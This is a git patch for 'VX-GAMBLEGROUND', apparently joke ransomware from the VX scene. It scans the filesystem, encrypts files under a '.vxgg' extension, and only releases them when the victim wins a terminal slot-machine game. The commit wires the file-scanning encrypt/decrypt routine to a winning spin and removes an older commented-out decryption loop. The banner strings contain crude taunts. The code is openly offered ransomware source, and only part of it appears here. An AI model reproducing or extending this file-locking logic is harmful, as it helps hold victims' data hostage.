From 74f6e6577709d00306e336f5d824e01d7a107439 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Tue, 3 Sep 2024 14:18:21 -0500 Subject: DECRYPTION WORKS --- src/VX-GAMBLEGROUND.c | 55 ++++++++------------------------------------------- src/encryption.c | 8 ++++++++ src/encryption.h | 14 +++++++------ src/screen.c | 11 ++++++++--- src/screen.h | 3 ++- 5 files changed, 34 insertions(+), 57 deletions(-) diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 393ed48..7277844 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c @@ -130,6 +130,12 @@ int doslots(struct bullshit *stuff) { doupdate(); + struct endeargs decryptargs = { + .flag = VXGG_DECRYPT, + .list = NULL, + .passphrase = stuff->passphrase + }; + stuff->params = (struct params){ .bannerwin = stuff->banner, .menu = stuff->menu, @@ -137,6 +143,8 @@ int doslots(struct bullshit *stuff) { .numspins = 3, .price = 1, .slots = &stuff->slots, + .decrypt_callback = ende_wrapper, + .decrypt_args = (void*)&decryptargs }; handle_input(stuff->menuholder, stuff->menu, &stuff->params); @@ -165,45 +173,6 @@ int scanundencrypt(void *passed) { return 0; } -// int decrypt(void *args) { -// struct sande *pass = (struct sande *)args; -// pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); -// if(pass->scanned == NULL) -// error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); - -// int err = REG_NOERROR; -// regex_t encext; -// if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) -// error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); - -// int fd = -1; -// for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { -// if(p->fullpath == NULL) -// continue; - -// if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) -// continue; - -// fd = open(p->fullpath, O_RDWR); -// if(fd < 0) -// continue; -// passencblock(fd, pass->passphrase); -// close(fd); - -// // Once again my problems are solved by allocating shit instead of using static shit -// char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); -// strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); -// rename(p->fullpath, newname); -// free(newname); -// } - -// endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized -// error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); -// exit(0); - -// return 0; -// } - int main(int argc, char *argv[]) { @@ -228,14 +197,6 @@ int main(int argc, char *argv[]) { // Deal with decrypting flag if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { - // struct sande pass = { - // .cmp = alphasort, - // .passphrase = passphrase, - // .scanned = NULL, - // .STARTPATH = FILESCAN_START - // }; - // decrypt((void*)&pass); - struct nodelist *files = NULL; files = scanfiles(FILESCAN_START, alphasort); ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT); diff --git a/src/encryption.c b/src/encryption.c index 8cccca8..4327506 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -254,6 +254,14 @@ int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int fl return 0; } +int ende_wrapper(void *passed) { + struct endeargs *args = (struct endeargs *)passed; + if(args->list == NULL) + args->list = scanfiles(FILESCAN_START, alphasort); + + return ENorDE_cryptvxgg(args->list, args->passphrase, args->flag); +} + /* int main() { int fd = open("test.txt", O_RDWR); diff --git a/src/encryption.h b/src/encryption.h index 664e4e6..74539d0 100644 --- a/src/encryption.h +++ b/src/encryption.h @@ -10,15 +10,17 @@ size_t passenc(int fd, const char *passphrase); /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ size_t passencblock(int fd, const char *passphrase); -// Encrypt a nodelist -int encryptvxgg(const struct nodelist *list, const char *passphrase); - -// Decrypt a nodelist -int decryptvxgg(const struct nodelist *list, const char *passphrase); - // Encrypt or decrypt a nodelist #define VXGG_ENCRYPT 0 #define VXGG_DECRYPT 1 int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag); +struct endeargs { + const struct nodelist *list; + const char *passphrase; + int flag; +}; + +// Wrapper for EnorDE_cryptvxgg for multithreading purposes +int ende_wrapper(void *passed); #endif \ No newline at end of file diff --git a/src/screen.c b/src/screen.c index 4667895..dfee01d 100644 --- a/src/screen.c +++ b/src/screen.c @@ -13,6 +13,7 @@ #define _GNU_SOURCE #include "screen.h" + #include #include #include @@ -328,10 +329,14 @@ int spin(void *params) { winning++; } if(winning == 3) { - // Do winning anim - thrd_t decryptor; - thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args); + // Do multithreading here + thrd_t decryptor; + if(thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args) != thrd_success) { + endwin(); + error(1, 0, "Couldn't spawn thread to decrypt files"); + } + mvaddch(0, 0, 'J'); for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) { bkgd(COLOR_PAIR(color)); diff --git a/src/screen.h b/src/screen.h index 43793b5..f4b29cd 100644 --- a/src/screen.h +++ b/src/screen.h @@ -6,6 +6,7 @@ #include #define phrases (const char *[]){\ + /* by @syxhe on tg */ \ "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\ "R.I.P VxHeaven",\ "tmp(2) nuked by Smelly",\ @@ -188,7 +189,7 @@ struct params { MENU *menu; int (*decrypt_callback)(void*); - void *decrypt_args; + void* decrypt_args; // Previously buyp unsigned int price; -- cgit v1.2.3